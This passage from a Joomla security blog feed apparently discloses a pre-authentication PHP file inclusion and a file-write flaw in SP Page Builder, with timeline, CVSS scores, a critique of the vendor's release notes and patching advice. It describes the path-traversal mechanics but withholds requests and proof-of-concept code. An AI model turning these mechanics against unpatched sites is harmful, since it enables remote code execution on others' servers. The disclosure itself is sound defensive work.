</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>phoca</category><category>sql injection</category><category>vulnerability</category><category>extensions</category><enclosure url="https://mysites.guru/_astro/phoca-cart-sql-injection-product-filter.qjd0At88.png" length="0" type="image/png"/></item><item><title>Unauthenticated Remote Code Execution in SP Page Builder found by mySites.guru</title><link>https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/</guid><description>mySites.guru found a pre-authentication remote code execution flaw in SP Page Builder for Joomla, in the same 6.7.1 release that fixed our earlier reports. Update to 6.8.0 now.</description><pubDate>Wed, 12 Aug 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-page-builder&quot;&gt;SP Page Builder&lt;/a&gt; is JoomShaper&apos;s drag-and-drop page builder for Joomla, one of the most widely installed page builders in the ecosystem. We have reported issues in it before: the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;June 2026 unauthenticated icon-upload zero-day&lt;/a&gt; fixed in 6.6.2, and a round of &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;four vulnerabilities including a pre-auth SQL injection and an open mail relay&lt;/a&gt;, fixed in 6.7.1. This is the one that makes those look tame. &lt;strong&gt;In SP Page Builder 6.7.1, the release that fixed our previous reports, mySites.guru found a pre-authentication remote code execution flaw&lt;/strong&gt;, plus a second unauthenticated file-write issue on the same endpoint. Both were reported to JoomShaper before any public detail, and both are fixed in SP Page Builder &lt;strong&gt;6.8.0&lt;/strong&gt;, released on 12 August 2026. We re-tested the released package the same day to confirm the fixes hold.&lt;/p&gt;
&lt;p&gt;If you run SP Page Builder on any Joomla site, update to 6.8.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found a &lt;strong&gt;pre-authentication remote code execution&lt;/strong&gt; flaw in SP Page Builder, and reported it privately to JoomShaper&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated PHP file inclusion (CVSS 4.0 9.3, Critical).&lt;/strong&gt; The Dynamic Content &quot;load more&quot; endpoint renders an addon definition taken straight from the request. The addon name is concatenated into a file path with no traversal check, then included and run as PHP. It is protected only by a CSRF token, which Joomla hands to every anonymous visitor, so it is effectively pre-auth. An attacker can make the site &lt;strong&gt;execute a PHP file from anywhere the server can read&lt;/strong&gt;, inside the web root or outside it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file write (CVSS 4.0 Medium).&lt;/strong&gt; The same endpoint lets an attacker set an addon id that becomes a filesystem path, so an anonymous request could &lt;strong&gt;create a directory and write a file outside the cache folder&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The flaw sits in the method &lt;strong&gt;directly below&lt;/strong&gt; the one JoomShaper hardened in 6.7.1, which is why 6.7.1, our previous fix, is itself vulnerable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to SP Page Builder 6.8.0 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Reported privately on 27 July 2026, fixed in &lt;strong&gt;6.8.0&lt;/strong&gt; on 12 August 2026, 16 days later. We re-tested the released package the same day and confirmed both issues are closed&lt;/li&gt;
&lt;li&gt;The fix did not ship on its own. It arrived bundled with &lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;6.8.0&lt;/a&gt;, a planned feature release, rather than as an immediate point release&lt;/li&gt;
&lt;li&gt;The Joomla CNA published &lt;strong&gt;CVE-2026-67285&lt;/strong&gt; (the file inclusion) and &lt;strong&gt;CVE-2026-67286&lt;/strong&gt; (the file write) on 12 August 2026&lt;/li&gt;
&lt;li&gt;The endpoint itself is still unauthenticated in 6.8.0. The two sinks we reported are fixed, but it still renders an addon definition sent by the visitor&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered these issues and reported them to JoomShaper before publishing details. We are withholding the exact requests and any proof-of-concept until enough sites have updated. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The worst one: an anonymous request that runs your code&lt;/h2&gt;
&lt;p&gt;SP Page Builder&apos;s Dynamic Content feature renders lists of content, articles, tags and custom collections. When a visitor asks for more items, a front-end endpoint returns the next page of them. To do that, the endpoint takes an &lt;strong&gt;addon definition, supplied in the request body itself&lt;/strong&gt;, and renders it server-side.&lt;/p&gt;
&lt;p&gt;Rather than loading the saved addon from the page a visitor is looking at, the endpoint trusts a complete addon tree the caller hands it, and one of the things an addon carries is its &lt;strong&gt;name&lt;/strong&gt;. The name is used to locate the addon&apos;s code on disk, by pasting it into a file path, and that path is then included and executed as PHP. Nothing strips or rejects &lt;code&gt;../&lt;/code&gt; from the name, so the name is a free path. An addon &quot;named&quot; a traversal string points the include anywhere on the filesystem, and Joomla runs whatever &lt;code&gt;site.php&lt;/code&gt; it finds there.&lt;/p&gt;
&lt;p&gt;The only thing standing in front of the endpoint is a CSRF token check, and, as with the SQL injection we reported last week, that is not the barrier it looks like. Joomla issues a valid token to &lt;strong&gt;every&lt;/strong&gt; visitor, anonymous ones included, the moment they load any page. A scripted attacker fetches a token and sends it back, so in practical terms this is &lt;strong&gt;pre-authentication&lt;/strong&gt; code inclusion. The one precondition is that the collection being rendered returns at least one item, because the include happens inside the per-item loop, and the default articles collection satisfies that on any site with a single published article.&lt;/p&gt;
&lt;p&gt;We confirmed it on our own SP Page Builder test install. We placed a harmless marker PHP file, made the unauthenticated request that pointed the include at it, and the marker&apos;s output came back at the top of the HTTP response, proving the file ran as PHP inside the application. We then placed a second marker &lt;strong&gt;outside the web root entirely&lt;/strong&gt; and it executed the same way, confirming the traversal is not confined to the site&apos;s own folder. We did not run any harmful code.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;On its own this runs PHP from a path of the attacker&apos;s choosing. It becomes full remote code execution the moment any attacker-influenced PHP file exists somewhere the server can read: a file-write flaw in any other extension, an upload that keeps the original filename, a low-privilege account, a neighbouring account on shared hosting, or a leftover backup or staging folder. On a busy shared host that is a low bar. Treat any site that ran a vulnerable version as potentially compromised until checked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The second one: an anonymous request that writes to your disk&lt;/h2&gt;
&lt;p&gt;Because the same endpoint renders a caller-supplied addon tree, &lt;strong&gt;every&lt;/strong&gt; addon&apos;s rendering code becomes a public endpoint driven by attacker-chosen settings. Most addons just draw HTML. Some touch the filesystem. The Flickr addon builds a cache path from the addon&apos;s &lt;strong&gt;id&lt;/strong&gt;, then creates that directory and writes a file into it. The id, like the name, comes straight from the request and is never checked.&lt;/p&gt;
&lt;p&gt;Setting the id to a traversal string, an anonymous request creates a directory and writes a file well outside the intended cache folder. On our test install it created the directory and wrote a 31 KB file where it should not have been able to. The impact here is narrower than the code execution above: the filename is fixed, so this is not code execution by itself and it does not chain into the first issue. What it does give an unauthenticated attacker is directory creation anywhere the web user can write, the ability to overwrite that specific cache file, disk exhaustion, and forced outbound requests to a third-party API with a query string they control.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Both issues share one cause: the endpoint trusts an addon definition supplied by the visitor rather than loading it from the saved page. Fixing the traversal alone would leave that pattern in place, and every addon with a filesystem or network side effect would stay exposed. Flickr is simply the one we found with a write.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why the last fix did not cover this&lt;/h2&gt;
&lt;p&gt;SP Page Builder 6.7.1 was the release that fixed the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;four issues we reported the week before&lt;/a&gt;, among them a pre-authentication SQL injection in the Dynamic Content controller. The 6.7.1 fix hardened that specific method: it added a permission check and an allow-list, with a code comment naming the SQL injection it was closing.&lt;/p&gt;
&lt;p&gt;The endpoint in this report sits &lt;strong&gt;directly below that method, in the same file&lt;/strong&gt;, and received neither the permission check nor any input hardening. The area was clearly on the developers&apos; radar when they patched the method above it. That is why a site diligently updated to 6.7.1, the fix for the previous round, is exposed to something worse. The lesson, for any maintainer, is that when you find one unauthenticated flaw in a controller it is worth auditing the whole controller, not just the reported method.&lt;/p&gt;
&lt;h2&gt;What 6.8.0 actually changed&lt;/h2&gt;
&lt;p&gt;We tested the released 6.8.0 package the day it shipped, re-running both proof-of-concept requests against a clean install. Both are closed, and the fixes are the right ones for the two sinks we reported:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The addon name is now checked against an allow-list of plain directory names before it is used to build a path, and the include is additionally guarded by a file-existence check. Our traversal payload renders an empty item instead of executing the planted file.&lt;/li&gt;
&lt;li&gt;The addon id is stripped of anything outside &lt;code&gt;A-Z a-z 0-9 _ -&lt;/code&gt; before it reaches the filesystem, so the Flickr write can no longer escape the cache folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One thing did not change. &lt;strong&gt;The endpoint still has no authorisation check.&lt;/strong&gt; It is still reachable by any anonymous visitor holding the CSRF token Joomla gives away, and it still renders an addon definition supplied in the request. 6.8.0 edited that same controller six times, adding an extra permission check to six other methods in the file, and left this one as it was. The two doors we reported are bolted; the corridor they open onto is unchanged.&lt;/p&gt;
&lt;p&gt;That matters for what comes next rather than for whether you should update. You should update, today. But the pattern that produced both of these findings, trusting a component definition sent by the visitor, is still how the endpoint works, and every addon with a filesystem or network side effect is still reachable through it with attacker-chosen settings.&lt;/p&gt;
&lt;h2&gt;The release notes do not tell you any of this&lt;/h2&gt;
&lt;p&gt;Here is the entire mention of this vulnerability in the SP Page Builder 6.8.0 release notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hardened input validation, file handling, and access checks across the component.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is it. One line, filed under &quot;Updates&quot;, sitting below &quot;Added Copy, Paste, and Paste Style support for addons inside the Table addon&quot; and above nothing at all. A pre-authentication remote code execution flaw, present in every release since 5.5.0, reachable by anyone on the internet with no login, is announced to users in the same register as a clipboard feature.&lt;/p&gt;
&lt;p&gt;Judge for yourself. This is the entire 6.8.0 release note:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The release notes do not say &quot;security release&quot;. They do not say &quot;critical&quot;. They do not give a severity, a CVSS score, a CVE, or a hint that any of this is urgent. They do not say that a site left on 6.7.1 can be made to execute an attacker&apos;s PHP. There is no &quot;update immediately&quot; anywhere on the page. A site owner reading that changelog over coffee has no way to tell this apart from a maintenance release, and will quite reasonably schedule it for whenever they next do updates.&lt;/p&gt;
&lt;p&gt;What makes it worse is that JoomShaper clearly knows how to write a security changelog entry, because two lines further down, under &quot;Fixes&quot;, they do exactly that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fixed an unauthenticated SQL injection in the article loading endpoint.&lt;/p&gt;
&lt;p&gt;Fixed a broken access control issue in the Comment addon that allowed guests to post comments while anonymous comments were disabled.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both of those are named, scoped and honest. So the vagueness applied to the two issues in this article is not a house style or a limitation of their changelog format. Those two got a plain-English description; ours got &quot;hardened input validation&quot;. The most severe bug in the release is the most vaguely described one in the release notes, and it is not credited to anyone.&lt;/p&gt;
&lt;p&gt;We have written before about &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;what a security changelog entry owes the people running your code&lt;/a&gt;. The short version: say what class of flaw it was, say which versions were affected, say whether it needs urgent action, and name the researcher. None of that is difficult, and all of it changes whether a busy administrator patches today or next month. Vague release notes do not protect users from attackers. Attackers diff the release. Only the defenders are left guessing.&lt;/p&gt;
&lt;p&gt;Credit where it is due, though not to the vendor. The Joomla Security Strike Team assigned CVE-2026-67285 and CVE-2026-67286 to these two issues within hours of the release, and went back and updated the credits on the earlier SP Page Builder CVEs so that mySites.guru is named there too. That is the ecosystem&apos;s security team doing the vendor&apos;s job for them, and doing it properly.&lt;/p&gt;
&lt;h2&gt;The fix waited for the feature release&lt;/h2&gt;
&lt;p&gt;JoomShaper acknowledged both issues on the day we reported them, 27 July, and confirmed a fix was in progress. That fix reached site owners sixteen days later, on 12 August, as part of &lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;SP Page Builder 6.8.0&lt;/a&gt;. There was no 6.7.2 in between.&lt;/p&gt;
&lt;p&gt;Look at what else 6.8.0 carries: multilingual page support for EasyStore, multiple recipient emails in the Form Builder, clearing page hits from the editor menu, labels on Dynamic Content pages, improved AcyMailing compatibility, copy and paste inside the Table addon. That is a planned feature drop, months in the making, and the vendor&apos;s own announcement opens by calling it &quot;packed with exciting new features and improvements&quot;. The patch for a pre-authentication remote code execution flaw travelled along with it.&lt;/p&gt;
&lt;p&gt;An allow-list on a directory name and a sanitiser on an id did not need to wait for multilingual EasyStore pages. They could have gone out as 6.7.2 the same week, on their own, with a release note saying what they were for. Instead every SP Page Builder site on the internet stayed exposed for sixteen days to a flaw the vendor already knew about, so that the fix could arrive on the feature release&apos;s schedule.&lt;/p&gt;
&lt;p&gt;Sixteen days is not a scandal in isolation. Plenty of vendors take considerably longer, and JoomShaper answered within hours and fixed both sinks properly when they did. The problem is the coupling. Once a security fix is tied to a feature release, the date it reaches users is decided by whatever else is in the box, by QA on multilingual storefronts and clipboard support in table addons, and that is exactly backwards for the one class of change that should never wait for anything.&lt;/p&gt;
&lt;p&gt;The 6.8.0 announcement is worth reading for what it does cover. It gives the unauthenticated SQL injection in the article loading endpoint a dedicated &quot;Security Enhancement&quot; section: affected versions, the fixed version, a CVE, the CWEs, step-by-step upgrade instructions, and a credit to the researchers who reported it, ourselves included. That is a good vendor security note, and it shows the standard JoomShaper is perfectly capable of meeting. The file inclusion and the file write described in this article appear nowhere on that page.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;The vulnerable code is present in SP Page Builder &lt;strong&gt;6.7.1&lt;/strong&gt;, the current release when we reported this, and from our testing in &lt;strong&gt;every version back to 5.5.0&lt;/strong&gt;, where the Dynamic Content feature was introduced. The relevant files are byte-for-byte identical across 6.6.2, 6.7.0 and 6.7.1, so this is not a 6.7.1 regression, it is long-standing. JoomShaper fixed it in SP Page Builder &lt;strong&gt;6.8.0&lt;/strong&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of SP Page Builder earlier than 6.8.0, assume your site is affected and update now. The code execution needs no login, so if the site is online, the endpoint is reachable.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update SP Page Builder safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull SP Page Builder 6.8.0. If you manage more than one site, use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade SP Page Builder across every affected site from one dashboard&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, check SP Page Builder reports 6.8.0 or later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because this is a code-execution flaw, updating closes the door but does not undo anything an attacker may already have done while it was open. If a vulnerable version was live and internet-facing for any length of time, treat the site as potentially compromised: check for unexpected files and admin users, rotate the Joomla secret and any stored credentials, and restore from a known-good backup if anything looks wrong.&lt;/p&gt;
&lt;h2&gt;How do I find every SP Page Builder site I manage?&lt;/h2&gt;
&lt;p&gt;Up to about ten sites, you can log in to each Joomla admin and check. Past that, you need a single view. mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for SP Page Builder once and get back every connected site running it, the version each one is on, and whether an update is available.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every SP Page Builder install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for SP Page Builder across every connected Joomla site and filter for anything earlier than 6.8.0. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why page builders keep producing this&lt;/h2&gt;
&lt;p&gt;Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads more items, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker. This flaw is the sharp end of that: the endpoint trusted not just a value but an entire component definition from the request, and one field in it decided which PHP file to run.&lt;/p&gt;
&lt;p&gt;The same shape has shown up across the ecosystem this year, from &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla disclosures&lt;/a&gt;. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;The headline finding is an unauthenticated PHP local file inclusion (CWE-98, path traversal per CWE-22) reachable over the network, gated only by a CSRF token that Joomla issues to everyone. It yields execution of PHP from an attacker-chosen path and, given any writable-and-readable &lt;code&gt;site.php&lt;/code&gt;, full remote code execution. The second finding is an unauthenticated arbitrary directory creation and file write (CWE-22), bounded by a fixed filename.&lt;/p&gt;
&lt;p&gt;We score every issue under CVSS 4.0. The file inclusion comes out at &lt;strong&gt;9.3, Critical&lt;/strong&gt;: no privileges, no user interaction, network reachable, with a full compromise of confidentiality, integrity and availability once code runs.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.3&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Unauthenticated PHP file inclusion, pre-auth code execution&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable over the internet with only the CSRF token Joomla hands to every visitor. Runs PHP from an attacker-chosen path, inside or outside the web root, and becomes full remote code execution given any writable PHP file.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Code execution&lt;/span&gt;
        &lt;span&gt;Traversal beyond web root&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Each finding, scored under CVSS 4.0:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Vector (&lt;code&gt;CVSS:4.0/...&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated PHP file inclusion (pre-auth RCE)&lt;/td&gt;
&lt;td&gt;CVE-2026-67285&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.3&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unauthenticated arbitrary directory create / file write&lt;/td&gt;
&lt;td&gt;CVE-2026-67286&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6.9&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;SP Page Builder for Joomla (&lt;code&gt;com_sppagebuilder&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated PHP local file inclusion via path traversal, pre-auth RCE (CWE-98 / CWE-22); unauthenticated arbitrary directory creation and file write (CWE-22)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.3 (Critical) file inclusion; 6.9 (Medium) file write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67285&quot;&gt;CVE-2026-67285&lt;/a&gt; (the file inclusion) and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67286&quot;&gt;CVE-2026-67286&lt;/a&gt; (the file write), published by the Joomla CNA on 12 August 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Unauthenticated execution of PHP from an arbitrary filesystem path, full remote code execution given any writable PHP file; unauthenticated directory creation and file write outside the cache folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;6.7.1 and earlier; vulnerable code present from 5.5.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;SP Page Builder 6.8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported&lt;/td&gt;
&lt;td&gt;27 July 2026 (privately to JoomShaper, Joomla security team CC&apos;d)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Acknowledged&lt;/td&gt;
&lt;td&gt;27 July 2026 (JoomShaper confirmed both issues, fix in progress)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pre-release build supplied for testing&lt;/td&gt;
&lt;td&gt;12 August 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed&lt;/td&gt;
&lt;td&gt;12 August 2026, in SP Page Builder 6.8.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fix verified by mySites.guru&lt;/td&gt;
&lt;td&gt;12 August 2026, against the released 6.8.0 package&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time to fix&lt;/td&gt;
&lt;td&gt;16 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Our SP Page Builder SQL injection and mail relay disclosure&lt;/a&gt; - the four issues fixed in 6.7.1, the release this flaw survived in.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;The June 2026 SP Page Builder icon-upload zero-day&lt;/a&gt; - an earlier, separate flaw in the same component, exploited in the wild and fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/98.html&quot;&gt;CWE-98: PHP Remote File Inclusion&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the canonical references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;JoomShaper&apos;s SP Page Builder 6.8.0 announcement&lt;/a&gt; - the vendor&apos;s own write-up of the release, including the security note for the separate SQL injection it also fixes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site, where SP Page Builder 6.8.0 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp page builder</category><category>remote code execution</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/sp-page-builder-pre-auth-rce-file-inclusion-disclosure.YmFvQX6z.png" length="0" type="image/png"/></item><item><title>Cotton Cloud Patched the Login, Then the Data</title><link>https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/</guid><description>Two access control flaws in Cotton Cloud for Joomla. The first fix closed the door and left the room unlocked. CVE-2026-67283 and CVE-2026-67284 are fixed in 2.0.3.</description><pubDate>Wed, 12 Aug 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomla.tabaoca.org&quot;&gt;Cotton Cloud&lt;/a&gt; is a database-backed file storage system for Joomla. It ships as a package of six extensions and gives each user a private cloud drive inside the site: upload files, organise them into folders, edit text files in the browser, share them by link, and drive the whole thing from an AI-assisted terminal with about forty commands behind it.&lt;/p&gt;
&lt;p&gt;In August 2026 &lt;strong&gt;mySites.guru found that every front-end endpoint in Cotton Cloud 2.0.1 was reachable by a visitor who had never logged in&lt;/strong&gt;, and that from there they could read, overwrite, delete and re-permission every file any user had stored. We reported it privately. The developer shipped 2.0.2, then 2.0.3.&lt;/p&gt;
&lt;p&gt;It took two releases, because the first one fixed one half of the report.&lt;/p&gt;
&lt;p&gt;This post is about the half that was missed, about why that half is the half that always gets missed, and about how a fix can look completely correct in the diff and never execute once. That last part is where AI-assisted development comes in, even if you have never heard of this extension. Cotton Cloud 2.0.3 closes both halves, and if you run it that is the version you want.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
